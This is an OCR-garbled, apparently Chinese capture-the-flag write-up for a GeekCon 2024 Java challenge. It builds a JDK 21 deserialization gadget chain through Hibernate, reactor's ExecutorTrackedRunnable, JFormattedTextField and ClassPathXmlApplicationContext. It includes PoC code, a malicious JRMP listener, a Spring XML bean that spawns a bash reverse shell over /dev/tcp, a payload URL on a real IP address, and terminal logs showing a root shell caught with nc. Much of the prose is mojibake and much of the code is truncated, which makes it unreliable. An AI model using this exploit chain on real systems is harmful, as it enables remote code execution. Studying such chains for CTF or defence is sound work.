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X N J 6 Geekcon2024 -  Version control Current File v

Project v @ ¢ ¢ 8 _gsp.class = notFound.gsp WelcomeController.class application.yml Dockerfile compose.yaml

v [ WEB-INF
D classes
> Dgsp > Q- index( & Ce W *
~ Olayouts .call(RestResponder.Trait.Helper.
= main.gsp .call(Controller.Trait.Helper. ., thi:

® Decompiled .class file, bytecode version: 52.0 (Java 8)

> [JMETA-INF .call(ServletAttributes.Trait.Helper.c
Dold .call(WebAttributes.Trait.Helper.
- .call(DataBinder.Trait.Helpe|

v Olog
.call(RequestForwarder.Trait.Helper

Application A g
.call(ResponseRedirector.Trait.Helper

@ RlieaBankaazst .call(ResponseRenderer.Trait.Helper

BootStrap .call(TagLibraryInvoker.Trait.Helper.c
UriMappings }
WelcomeController
spring @Action
0 welcome public Object ) {
application.yml 2
= error.gsp F

gsp_old_log_layoutsmain_gsp
@TraitBridge(

spold_log_layoutsmain_gsp_html.data
B gsp = S traitClass = RenderConverterTrait

B gsp_old_log_layoutsmain_gsp_linenumbers.data (e = O - - ey

gsp_old_logerror_gsp )
B gsp_old_logerror_gsp_html.data

public void re| (Converter<?> argl) {
B gsp_old_logerror_gsp_linenumbers.data callSite[] var2 = $getCallSiteArray();
gsp_old_logindex_gsp var2[36].call(RenderConverterTrait.Trait.Helper.class, ti
B gsp_old_logindex_gsp_html.data }
B gsp_old_logindex_gsp_linenumbers.data
gsp-old_lognotFound_gsp static {
B gsp_old_lognotFound_gsp_html.data Object var® = $getCallSiteArray()[39].call(LogManager.class);

) ol L T ST e e 6 r = (Logger)ScriptBytecodeAdapter.castToType(var@, Logger.cl:

gy List varl = ScriptBytecodeAdapter.createList(new Object[0]1);
= index.gsp

®

$ tabata = varl;
Object var2 = $getCallSiteArray()[40].call(LoggerFactory.cl
log = (org.slf4j.Logger)ScriptBytecodeAdapter.castToType(var2, org.slf4j.Logger.c
Helper.$static$init$(WelcomeController.c )3
> Olib Object var10000 = null;
lasspath.idx grails.artefact.controller.RestResponder.Trait.Helper.$static$init$(WelcomeController.

logback.xml

> I Resource Bundle 'messages'

= notFound.gsp

© O

@

125:19 (39 chars, 1 line

HTIDEARIRFERGAMETIB, PALUXERjadx, H7 @A 1uellEE T,

s
@Action
= public Object index() {
11 CallSite[] array0OfCallSite = $getCallSiteArray();
= try {
11 if (!DefaultTypeTransformation.booleanUnbox(array0fCallSite[10].call(array0fCallSite[11].callGroovyObjectGetProper
11 array0fCallSite[12].call(array0fCallSite[13].callGroovyObjectGetProperty(this), "ALLOWED_METHODS_HANDLED", "inde
11 Object name = arrayOfCallSite[14].callGetProperty(array0OfCallSite[15].callGroovyObjectGetProperty(this));
12 array0fCallSite[16].call(logger, "{} visited welcome", name);
13 return array0fCallSite[17].callCurrent(this, new GStringImpl(new Object[] { name }, new String[] { "<html><body><f
} catch (Exception $caughtException) {
14 Method $method = (Method)ScriptBytecodeAdapter.castToType(arrayOfCallSite[22].callCurrent(this, arrayOfCallSite[23
14 if (DefaultTypeTransformation.booleanUnbox($method))
14 return $method.invoke(this, new Object[] { $caughtException });
14 throw (Throwable)$caughtException;
} finally {
= try {
14 Object $allowed_methods_attribute_value = array0fCallSite[32].call(array0fCallSite[33].callGroovyObjectGetProper
14 if (ScriptBytecodeAdapter.compareEqual("index", $allowed_methods_attribute_value))
14 array0fCallSite[34].call(array0fCallSite[35].callGroovyObjectGetProperty(this), "ALLOWED_METHODS_HANDLED");
14 } catch (Exception $exceptionRemovingAttribute) {
} finally {}
}
}
@Generated

A BNUold_log, ETFgrailstlEZRRERIwebfRsS, M LERKRHIFNETRAE L% T loggerfiloghiss
ig&name, TMname2H1RIZH, EX—EERTR T (JDK2189IndiFTiE)

LRHIRZ, ZNRABELT, XER/LTEEN
e Hibernate 5.6.11

e SpringFrameWork



e Jdk21
HEMFEHIEBRZ4 L T GadgetsiyPathiy, BELAKRER T HAEE

hibernate—>ExecutorTrackedRunnable->JFormattedTextField—>ClassPathXmlApplic
ationContext

wFRE, ERBBHZREIEMMPocERERRE.

=. JDK21 FJIndi3E AN =

https://t.zsxq.com/19PvD5ELZ
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https://t.zsxq.com/19PvD5ELZ

public void executeCall() throws Exception {
returnType;

ackHandler null;
try {
if ( null) {

O 00O NO UL WN -

[REReY
| S

(

"transport return code invalid: " );
}

throw new ("Transport return code invali

} catch (
throw e;

} catch (
throw new

} finally {
if (

switch (
case
break;




} catch (

throw new ("Error unmarshaling return",

if ( instanceof
} else {

throw new

}

default:
if (

(

"return code invalid: "
}

throw new ("Return code invalid");

HiBERIZEPIEIIKEIExceptionalReturnfyflaghniR, FSWIRFIAEE, MEZi# TreadObjecthy, X
EERMIBUNAIRETH—ED, ETRHHATEEITLDAPE el MEMNXEC KRG, BALFARR, X
HXXE—"1"GadgetsFHEH, FLFBtTM T (JDK21HIE THIGadgetsiiE)

9. GadgetsiZiz

(1) 33%Sink. Source

RIEE8089Path

hibernate—->ExecutorTrackedRunnable->JFormattedTextField—>ClassPathXmlApplic
ationContext

HEFRHRNEEFERNMGEETERLLL,

AJX JFormattedTextField XM ERjava.swingB FHIRA, A B REIBE|Hessian—onlyjdkiX
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e getValue

e setValue

AR ETCTFIRE P FS R EIHGadgetsiisink = ZcreateValue, XEF S HRMEREERIE,

> [@ Maven: jakarta.annotation:jakarta.annotation-api:1

ucture
@BeanProperty(visuvalUpdate = true, description

> DocumentHandler lue to be formatted.")
JFormattedTextField() public voi e ve(Object value) {
JFormattedTextField(Object) if (value != null && getFormatterFactory() == null) {

JFormattedTextField(Format) setFormatterFactory(getDefaultFormatterFactory(value));

JFormattedTextField(AbstractFormatter)
JFormattedTextField (AbstractFormatterFactory)

I

setValue(value, true, true);

JFormattedTextField (AbstractFormatterFactory, Object)
setFocusLostBehavior(int): void
getFocusLostBehavior(): int
setFormatterFactory(AbstractFormatterFactory): void
getFormatterFactory(): AbstractFormatterFactory

> setFormatter(AbstractFormatter): void
getFormatter(): AbstractFormatter
setValue(Object): void
getValue(): Object
commitEdit(): void

catFdit\/alidlhnnlaan): vaid

PAIEHIAE] T setValue 5iE. A 4E1F IR getDefaultFormatterFactory



private getDefaultFormatterFactory(
if ( instanceof
return new

( instanceof
return new

( instanceof
return new

( instanceof
return new

instanceof ) {
displayFormatter = new
(
editFormatter new
new

return new

by

return new

XEBE—EX editFormatter.setValueClass(type.getClass()); , tHFiiREI T editFormatter
BEEE

public void betValueClass(Class<?> valueClass) {

this.valveClass = valueClass;

fth2i&EvalueClassiglt, ARHEMBE X MvalueClassEIRETH4, £FE
&R this.valueClass FiZ| 7T DefaultFormatterfystringToValuef5iA




stringToValue( string) throws ParseException {

<?> vC ();
ftf

null) {
<?> cons;

} catch (
null;

if ( null) {
try {
return

} catch (
throw new

by

return

RPTERFTENFERNELE, BMERIIHENsInkR.

cons.newInstance(new Object[] { string });

£B¥¥%E stringToValue RYIAA

();

());

class});

(
(new [1 {

("Error creating instance", 0)




DocumentHandler

JFormattedTextField()

JFormattedTextField (Object)

JFormattedTextField (Format)
JFormattedTextField(AbstractFormatter)
JFormattedTextField (AbstractFormatterFactory)
JFormattedTextField (AbstractFormatterFactory, Object)

setFocusLostBehavior(int): void
getFocusLostBehavior(): int
setFormatterFactory(AbstractFormatterFactory): void
getFormatterFactory(): AbstractFormatterFactory
setFormatter(AbstractFormatter): void
getFormatter(): AbstractFormatter

setValue(Object): void

getValue(): Object

commitEdit(): void

public void commitEdit() throws ParseException {
AbstractFormatter format = getFormatter();

if (format != null) {

setValue(forjnat.stringToValue(getText()), 3 true);

JFormattedTextFielddJcommitEdit5iAIERA T, dR&eH, #ZERcommitEdit

> [ Maven: io.projectreactor:reactor-core:3.6.0
> [@ Maven: jakarta.annotation:jakarta.annotation-api:1.3.5

Structure

DocumentHandler

JFormattedTextField()

JFormattedTextField(Object)

JFormattedTextField (Format)

JFormattedTextField (AbstractFormatter)
JFormattedTextField (AbstractFormatterFactory)
JFormattedTextField (AbstractFormatterFactory, Object)
setFocusLostBehavior(int): void

getFocusLostBehavior():

setFormatterFactory(AbstractFormatterFactory): void
getFormatterFactory(): AbstractFormatterFactory
setFormatter(AbstractFormatter): void
getFormatter(): AbstractFormatter

setValue(Object): void

getValue(): Object

commitEdit(): void

eatFdit\/alid(hnnlaan): vaid

Debug Hibernate1

Threads & Variables Console G

private class FocusLostHandler implements Runnable, Serializable {

public void run() {
int fb = JFormattedTextField.this.getFocusLostBehavior();
if (fb == JFormattedTextField.
fb == JFormattedTextField
try {

JFormattedTextField. this.fommitEdit]

JFormattedTextField.this.setValue(
JFormattedTextField.this.getValue(),
h (ParseException pe) {
if (fb == JFormattedTextField.COMMIT REVERT) {
JFormattedTextField.this.setValue(
JFormattedTextField.this.getValue(), true,

if (fb == JFormattedTextField.REVERT) {
JFormattedTextField. tr setValue(

A O B P T PSP P TRV )

fEAEBZEFocusLostHandlerfJrun5 /5B A, XIHMEREFERBEFMER T . XEERBNEEIFLEER

=

ExecutorTrackedRunnable



static final class ExecutorTrackedRunnable extends imple
ments , {
private static final serialVersionUID 3503344795919906192L ;
final task;
final parent;
final callRemoveOnFinish;

ExecutorTrackedRunnable( task,
callRemoveOnFinish) {
this
this
this

public void run() {
if (!'this () o
try {
this
} catch (

} finally {
if (this
this

} else {
this

public void dispose() {
if (this (false, true)) {
this (this);

public isDisposed() {
return this OF

¥




B2 reactor.core.scheduler.ExecutorScheduler B9— 1AL, B L, AIUAERTIERN
runFiEEBEE— this.task.run();

H B FHATNINIR YA ERZEFocusLostHandler2 3 7 RunnableiZ 089, BEAINBEFEIMESIEL
T . BAMAEEER AL FocusLostHandlerfdruns %,

(2) Hibernate55Hibernate4

Hibernate4

X—REZLIFEFRER, XZRHBSKTEREN—TRA. tLEBEysofRIBIN KM —EOTRE

hibernate.property.access.spi.GetterMethodImpl.get()
hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
hibernate.type.ComponentType.getPropertyValue(C)
hibernate.type.ComponentType.getHashCode()
hibernate.engine.spi.TypedValue$l.initialize()
hibernate.engine.spi.TypedValue$l.initialize()
hibernate.internal.util.ValueHolder.getValue()
hibernate.engine.spi.TypedValue.hashCode()

Requires:

k — Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)

x @author mbechler

Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)

HibernateS2{EFE A EIAMA, MHibernatedEGetterif@A, FHk— XM AIMRAS K HEET BIMKE,
FE2ELT T — TFHibernate, EIHESZEAE

7fHibernate4d BEEF A IMsink =2 BasicPropertyAccessor$BasicGetter.get() A&

11



private BasicGetter(Class clazz, Method method, String propertyName) {
this.clazz = clazz;
this.method = method;
this.propertyName = propertyName;

public Object get(Object target) throws HibernateException {
try {
return this.method.invoke(target, (Object[]) null);
} catch (InvocationTargetException var3) {
throw new PropertyAccessException(var3, "Exception occurred inside", false, this.clazz, this.propertyName);
} catch (IllegalAccessException var4) {
throw new PropertyAccessException(var4, "IllegalAccessException occurred while calling", false, this.clazz, this.propertyName);
} catch (IllegalArgumentException var5) {
BasicPropertyAccessor.L0G.illegalPropertyGetterArgument(this.clazz.getName(), this.propertyName);
throw new PropertyAccessException(var5, "IllegalArgumentException occurred calling", false, this.clazz, this.propertyName);

i

AXESXmethod#1T— 1S REHAR, XEIRENgetter27E FHEgetterMethod3kEXA

@ private static Method getterMethod(Class theClass, String propertyName) {
Method[] methods = theClass.getDeclaredMethods();
Method[] arr$ = methods;
int len$ = methods.length;

for (int i$ = 0; i$ < len$; ++i$) {
Method method = arr$[i$];
if (method.getParameterTypes().length == 0 &% !method.isBridge()) {
String methodName = method.getName();
String testStdMethod;
String testOldMethod;
if (methodName.startsWith("get")) {
testStdMethod = Introspector.decapitalize(methodName.substring( lex: 3));
test0ldMethod = methodName.substring( dex: 3);
if (testStdMethod.equals(propertyName) || testOldMethod.equals(propertyName)) {
return method;

if (methodName.startsWith("is")) {
testStdMethod = Introspector.decapitalize(methodName.substring( b
testOldMethod = methodName.substring( bec ex: 2);

A& EEiserfllGetter, BBANMTAVARAREEMAERLER? XEZMBFNFIIHMRFTIT
E’]/}Ib*iﬁ;é

AHEAREAEREXE—OR, Method@ %X Serializablei& /Y, BB4BasicGetterRFFIMt
HIHMERIR 2 B ARRRE? EE,U\:IJreadResoIveTj'if

public String toString() return "BasicGetter(" + this.clazz.getName() + '.' + this.propertyName + ')';

Object readResolvel() {

return BasicPropertyAccessor.createGetter(this.clazz, this.propertyName);

public static final class BasicSetter implements Setter {

SifcreateGetter 5%




public static Getter Lreatesetter(CIass theClass, String propertyName) throws PropertyNotFoundException {
BasicGetter result = getGetterOrNull(theClass, propertyName);
if (result == null) {

throw new PropertyNotFoundException("( d not fi for " + propertyName + " in cT 5 " + theClass.getName
} else {
return result;

getGetterOrNull

@ private static BasicGetter betGetterOnNull(Class theClass, String propertyName) {
if (theClass != Object.class &% theClass != null) {

Method method = getterMethod(theClass, propertyName);

if (method != null) {
return new BasicGetter(theClass, method, propertyName);

} else {
BasicGetter getter = getGetterOrNull(theClass.getSuperclass(), propertyName);
if (getter == null) {

Class[] interfaces = theClass.getInterfaces();

for (int i = 0; getter == null &% i < interfaces.length; ++i) {

getter = getGetterOrNull(interfaces[i], propertyName);

return getter;

getterMethod, HIEIVIZ] T —FIRRISInkR, XEHFMERFIZE T tMethodaFPE R BE2 getter, AEE
EBEX.

Hibernateb

{B2%I 7 Hibernate5 2 [5BasicGettertg & FREX ML Z B9 2 GetterMethodImpl

13



Dipa

3 loader

O lob

[ mapping

[0 metadata

3 metamodel

[0 param

[ persister

O pretty

3 procedure

3 property

~ [Daccess

> Ointernal
O spi

BuiltinPropertyAccessStrategies
EnhancedGetterMethodimpt

EnhancedSetterimpl

final Method getterMethod;

rMethodImpl(Class containerClass, String propertyName, Method getterMethod) {

.containerClass = containerClass;
propertyName;
thod = getterMethod;

public Object get(Object owner) {

return this.gett: hod. invoke(owner) ;
} catch (InvocationTargetException var3) {
PropertyAccessException(var3,

h (IllegalAccessException var4) {

2w PropertyAccessException(var4, "

} catch (IllegalArgumentException var5) {
illegalPropertyGetterArgument(this

5.container

alling", false, th this.pro

ame) ;

Getter new PropertyAccessException(var5, ling", false, thi
GetterFieldimpl
GetterMethodImpl

SerialForm

t(0bject owner, Map mergeMap, SharedSessionContractImplementor session) {

PropertyAccess public Object getForIn

ENget)AEREM—TTZRFBER, BLANTLREEREFFRE? XEBZEXTFICERF

B, BEERIINIZEE.
GetterMethodimpl#gwriteReplace /5%

public Method ge return this.getterMethod;

private Object Replace() throws ObjectStreamException {

return new SerialForm(this.containerClass, this.propertyName, this.getterMetho

private static class SerialForm implements Serializable {

private final Class containerC

ARBAEFIICREMAE R, XEFRICHIHMREFENRIRIRE T —SerialForm, 1%XA]F7!
t

14



private static class SerialForm implements
private final containerClass;
private final propertyName;
private final declaringClass;
private final methodName;

private SerialForm( containerClass,
method) {
this
this
this
this

private readResolve() {
return new (this
, this ());
}

private resolveMethod() {
try {
method this
)7

return
} catch (
throw new
resolve getter method on deserialization :
() + "#" + this ¥
b

EENTEM
e containerClass

e propertyName

e declaringClass

e methodName

propertyName,

("Unable to

FERIICHRRIEXEEREEFERE, AEERFIICHNRRE L readResolve TiARIRLF, XEFH

%A XIMethod EIRREI, ELLRETFIEREA.




(3) Exploit

AE T X—RBATIM AT ADE— N EIMREXp, XEMWEEXpZ R TREZBXRRINIIR, MAEXER
B, ah#HIhiRPOC
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package

import
import
import
import
import
import
import

O 00O N O U1 & WN B

.
’

import
import
import
import
import
import

public class Hibernatel {
public static void main( [1 args) throws

jFormattedTextField
();
setFormatter
("setFormatter",
(true);
( )
defaultFormatter
(

"http://xxxx:xxx";

stringContent new
(0,poc);

plainDocument new

((

focusLostHandlerField
("focusLostHandler");
focusLostBehaviorField
("focusLostBehavior");
formatFiled
ormat");




(true);

<?> focusLostHandlerClz ("javax.swing.JFormat
tedTextField$FocusLostHandler");
focusLostHandler

);

<?> executorTrackedRunnableClz ("reactor.cor
e.scheduler.ExecutorScheduler$ExecutorTrackedRunnable");
sink
I

,"task",

getters

exp );

(new ("test.ser"))

(new ("test.ser"))

public static makeHibernate45Caller ( tpl,
) throws ’ ’

’

tup
class);
(AbstractComponentTuplizer.class, "getters").

set(tup, getters);

t
class, class, new [0], new [01);
, ""componentTuplizer", );
, "propertySpan", 1);
, "propertyTypes", new [1 {

(t, null);
, "value", );
, ||.type||’ );




public static

’

nodeCons
class,

public static
method ) throws

<?> getterIf
spi.Getter");
<?> basicGetter
ss.spi.GetterMethodImpl");
<?> bgCon

class, class);

return

makeHibernate5Getter (

makeMap ( v2 ) throws

("java.util.HashMap$Node");

e ) {
("java.util.HashMap$Entry");

(

.
’ ’

)
0,
0,

(s, "table", ) E

<?> tplClass,

’ ’

{

("org.hibernate.property.access.
("org.hibernate.property.acce

( class,




protected void javax.swing.JFormattedTextField.setFormatter(javax.swing.JFormattedTextField$AbstractFormatter)
21 6.830 [main] DEBUG org.jboss.logging - Logging Provider: org.jboss.logging.Logé4j2LoggerProvider
21:34:06.870 [main] DEBUG reactor.util.Loggers - Using S1f4j logging framework

) org
v B3 example xecuto (Runnable task, WorkerDelete parent, b an callRemoveOnFinish) {
App this.task = task;
Hibernate1 ent = parent;
Reflections nFinish = callRemoveOnFinish;
> Dtest

t t
i id runQ) {

(!this.get()) {
try {
this.t runQ);
v (fh External Libraries tch (Throwable vars) {

) .gitignore
pom.xml
B test.ser

[ < corretto-21 > Schedulers. handleError(vars) ;
> [@ Maven: antlr:antlr:2.7.7 } finally {
[ Maven: ch.qos.logback:logback-classic:1.2.11 f (t
& Maven: ch.qos.logback:logback-core:1.2.11 -dispose();
> [@ Maven: com.fasterxml.jackson.core:jackson-annotations:2.1
(2 Maven: com.fasterxml jackson.core;jackson-core:2.13.5 Bl UG
& Maven: com.fasterxml.jackson.core;jackson-databind:2.13.¢
> [ Maven: com.fasterxml.jackson.datatype:jackson-datatype-j
2 Maven: com.fasterxml.jackson.datatype:jackson-datatype-j
: com.fasterxml.jackson.module:jackson-module-par:

Debug Hibernate1

Threads & Variables ~ Console
2in"@1 in group "main": RUNNING ¥/

> run:190, ExecutorScheduler$ExecutorTrackedRul I toString()

WRIEBATRIE YD Hr 3

TELMINALAE Trunfik, FHHtaskiBIE T JformiT &,

20



v Borg
~ [ example
App
Hibernate1
Reflections
> Dtest
> [target
@ .gitignore
pom.xmi
B test.ser
v (b External Libraries
> [3 < corretto-21 >
> [2 Maven: antir:antir:2.7.7

> [ Maven: ch.qos.logback:logback-classic:1.2.11

> [ Maven: ch.qos.logback:logback-core:1.2.11

> [ Maven: com.fasterxml.jackson.core:jackson-annotations:2.1
> [@ Maven: com.fasterxml.jackson.core:jackson-core:2.13.5

> @ Maven: com.fasterxml.jackson.core:jackson-databind:2.13.%
> [@ Maven: com.fasterxml.jackson.datatype:jackson-datatype-j
> [@ Maven: com.fasterxml.jackson.datatype:jackson-datatype-j

> [2 Maven: com.fasterxml.jackson.module:jackson-module-par:
Debug Hibernate1

Threads & Variables ~ Console G
"main"@1 in group "main”: RUNNING Y

 run:677, JFormattedTextField$FocusLostHandler > & this =

R IN#E N T FocusLostHandlerfgrun5i%, {BERiXBJFormattedTextField.thise3R
o xxx.this FRRWEBSEAAITNAIIMIBE,

BRHMNETHREIEE

s FocusLostHandler implements Runnable, Serializable {
oid run() {
int fb = JFormattedTextField.this.getFocusLostBehavior();
if
fb == JFormattedTextField. i _REVERT) {
try {
JFormattedTextField.this.commitEdit();

JFormattedTextField.this.setValue(
JFormattedTextField.th getValue(),
} catch (ParseException pe) {
if (fb == JFormattedTextField.
JFormattedTextField.this.setValue(
JFormattedTextField.this.getValue(),

¥
else if (fb == JFormattedTextField
JFormattedTextFie is.setValue(

jFormatte 1d.this.getVaive(),

XEFRRIFormI &

r v £ this = {JFormattedTextField$FocusLostHandler@2517}

©) this$0 = null

XE this$0 ZRZEnull, FELEX

BN e)ER, fRRFEMRE R,

XEZETRTRE. Z2NTARE?

A IPoctIiERIRT ZFBE] T createWithoutConstructorp& %, AT NARMIEREEES
MR X T AERE KR SHE A thisSOBNA]

true);

ZHIERMEF

Reflections.setFieldValue(focusLostHandler,"this$0", jFormattedTextField);

Ho
}B‘z‘r

Poctl' F, HF2JINDEEN, FHA1EE

S EFE— & Eserver, & 1uellE

21



package

import
import
import
import
import
import
import
import
import
import
import
import
import
import
import
import

O 00O N O U1 & WN B

N R R R R RRPR R R R R
S ©WONOU DA WNRO

import
import

N NN
w N

import
import
import
import

W W NDNDNDNDNNDN
R O W 00 N O Ul b~

@ ( {

"restriction"

})
public class JRMPListener implements

private port;
private payloadObject;
private SS;




private waitLock = new
private exit;

private hadConnection;
private classpathUrl;

public JRMPListener ( port, payloadObject ) throws
, {

this
this
this
I
}

public JRMPListener ( port, className, classpathUrl) th
{
this
this
this
this

public waitFor ( i) A
try {
if ( this ) {
return true;

("Waiting for connection");
synchronized ( this
this
¥
return this
}
catch (
return false;

public void close () {
this true;
try {
this ();




b

catch (

synchronized ( this
this

b

public static final void main ( final [l args ) throws

{

return;

payloadObject

( [0]);
("x Opening JRMP listener on
( ’

{

("Listener error");

( );

public void run () {
try {

null;
try {
while ( !this

try {
(5000) ;
remote

OF

("Have connection from




magic

version
if (
) {
();

continue;

sockOut
bufOut new

protocol
switch (
case

break;
default:
case

("Unsupported protocol"

();

continue;




I
catch (
return;

}
catch (

b
finally {

b
finally {

if (

b
catch (
return;

}
catch (

private void doMessage ( S,
out, payload ) throws {

("Reading message..

op ();

switch ( ) {
case

.II);




u
break;

default:
throw new ("unknown transport op "

();

private void doCall (
payload ) throws

@
protected <?> resolveClass (

) {
if ( "[Ljava.rmi.server.0bjID;"
return [1.class;

} else if ("java.rmi.server.0bjID"

return class;
} else if ( "java.rmi.server.UID"

return class;

¥

throw new ("Not allowed to read object");
i

read;
try {

}
catch ( e ) {
throw new ("unable to read objID", e);




("Is DGC call for "

("Sending return with payload for obj

this true;

synchronized ( this ) {
this ();

}

@ ({"deprecation"})
protected static makeDummyObject ( className) {
try {

isolation new
cp new
(new

return

}
catch (

return new

¥

static final class MarshalOutputStream extends
private sendUrl;
public MarshalOutputStream( out, u) throws

{

super ( ) £
this




MarshalOutputStream( out) throws
super ( );

b

@

protected void annotateClass( <?> cl) throws
if (this null) {

(this ());

} else if (!( () instanceof

(null);
} else {
[1 us ((

@
protected void annotateProxyClass( <?> cl) throws

(cl);

public static class Dummy implements {
private static final serialVersionUID 1L;




package

import
import
import
import
import
import
import

O 00O N O U1 & WN B

.
’

import
import
import
import
import
import

public class Hibernatel {
public static getObject() throws

jFormattedTextField
();
setFormatter
("setFormatter",
(true);
( )
defaultFormatter
(

"http://8.130.24.188:7791/exp.xml";
stringContent new

(0, ) f
plainDocument new

((

focusLostHandlerField
("focusLostHandler");
focusLostBehaviorField
("focusLostBehavior");




formatFiled

(true);

<?> focusLostHandlerClz ("javax.swing.JFormat
tedTextField$FocusLostHandler");
focusLostHandler

);

<?> executorTrackedRunnableClz ("reactor.cor
e.scheduler.ExecutorScheduler$ExecutorTrackedRunnable");
sink
);
,"task", i
,'this$0",

getters

exp
return 2

¥
public static makeHibernate45Caller (
rs ) throws )

’

tup
class);
(AbstractComponentTuplizer.class, "getters").

set(tup, getters);

t
class, class, new [0], new [0]);
, "componentTuplizer", );
, "propertySpan", 1);
, "propertyTypes", new [1 A




return

public static makeMap ( v2 ) throws

’

("java.util.HashMap$Node");

e ) {
("java.util.HashMap$Entry");

nodeCons (
class,

(s, "table",
return s;

public static makeHibernate5Getter ( <?> tplClass,
method ) throws , ,

{
<?> getterIf ("org.hibernate.property.access.
spi.Getter");
<?> basicGetter ("org.hibernate.property.acce
ss.spi.GetterMethodImpl");
<?> bgCon ( class,
class, class);




< xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="htt

p://www.w3.0rg/2001/XMLSchema—-instance" xsi:schemalLocation="http://www.spr
ingframework.org/schema/beans http://www.springframework.org/schema/beans/
spring-beans.xsd">
< id="pb" class="java.lang.ProcessBuilder" init-method="start">
>

>/bin/bash</
>—c</ p

><! [CDATA[bash -i >& /dev/tcp/xxxxx/7780 <&1]]1></

O 00 NO Ul b WN

[REReY
= o

java ——add-opens=java.desktop/javax.swing=ALL-UNNAMED —--add-opens=java.bas
e/java.util=ALL-UNNAMED -jar java2l.jar 7799
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Closing connection
AC[root@nooklpop ~]#
[root@nooklpop ~]# java --add-opens=java.desktop/javax.swing=ALL-UNNAMED --add-opens=java.base/
java.util=ALL-UNNAMED --add-opens=java.management/javax.management=ALL-UNNAMED -jar java2l.jar
7799
protected void javax.swing.JFormattedTextField.setFormatter (javax.swing.JFormattedTextField$Abs
tractFormatter)
22:52:25.469 [main] BUG org.jboss.logging - Logging Provider: org.jboss.logging.Log4j2LoggerP
rovider
* Opening JRMP listener on 7799
Have connection from / :21599
Reading message...
Sending return with payload for obj [0:0:0, 0]
java.lang.IllegalArgumentException: Can not set java.lang.String field javax.management.BadAttr
ibuteValueExpException.val to java.util.HashMap

at java.base/jdk.internal.reflect.FieldAccessorImpl.throwSetIllegalArgumentException(Fi
eldAccessorImpl.java:228)

at java.base/jdk.internal.reflect.FieldAccessorImpl.throwSetIllegalArgumentException(Fi
eldAccessorImpl.java:232)

at java.base/jdk.internal.reflect.MethodHandleObjectFieldAccessorImpl.set(MethodHandleO
bjectFieldAccessorImpl.java:115)

at java.base/java.lang.reflect.Field.set(Field.java:836)

at org.example.Reflections.setFieldValue(Reflections.java:44)

at org.example.JRMPListener.doCall(JRMPListener.java:275)

at org.example.JRMPListener.doMessage (JRMPListener.java:215)

at org.example.JRMPListener.run(JRMPListener.java:162)

at org.example.JRMPListener.main(JRMPListener.java:111)
Closing connection
AC[root@nooklpop ~]# rm -rf java2l.jar
[root@nooklpop ~]# java --add-opens=java.desktop/javax.swing=ALL-UNNAMED --add-opens=java.base/
java.util=ALL-UNNAMED --add-opens=java.management/javax.management=ALL-UNNAMED -jar java2l.jar
7799
protected void javax.swing.JFormattedTextField.setFormatter (javax.swing.JFormattedTextField$Abs
tractFormatter)
22:54:55.439 [main] BUG org.jboss.logging - Logging Provider: org.jboss.logging.Log4j2LoggerP
rovider
* Opening JRMP listener on 7799
Have connection from / 130565
Reading message.
Sending return with payload for obj [0:0:0, 0]
Closing connection

[root@nooklpop ~]# vim exp.xml

[root@nooklpop ~]# python3 -m http.server 7791

Serving HTTP on port 7791 (http:// 17791/) ...
- - [22/Apr/2024 22:55:09] "GET /exp.xml HTTP/1.1" 200 -
- - [22/Apr/2024 22:55:09] "GET /exp.xml HTTP/1.1" 200 -
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Last login: Mon Apr 22 22:49:47 2024 from
Welcome to Alibaba Cloud Elastic Compute Service !

[root@nooklpop ~]# nc -lvnp 7778

Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on 778

Ncat: Listening on 17778

Ncat: Connection from o

Ncat: Connection from :31098.
bash: cannot set terminal process group (1): Inappropriate joctl for device
bash: no job control in this shell
root@15d7780431f7:/# cat /fl

cat /fl

cat: /fl: No such file or directory
root@15d7780431f7:/# whoami

whoami

root

root@15d77804317: /# [l
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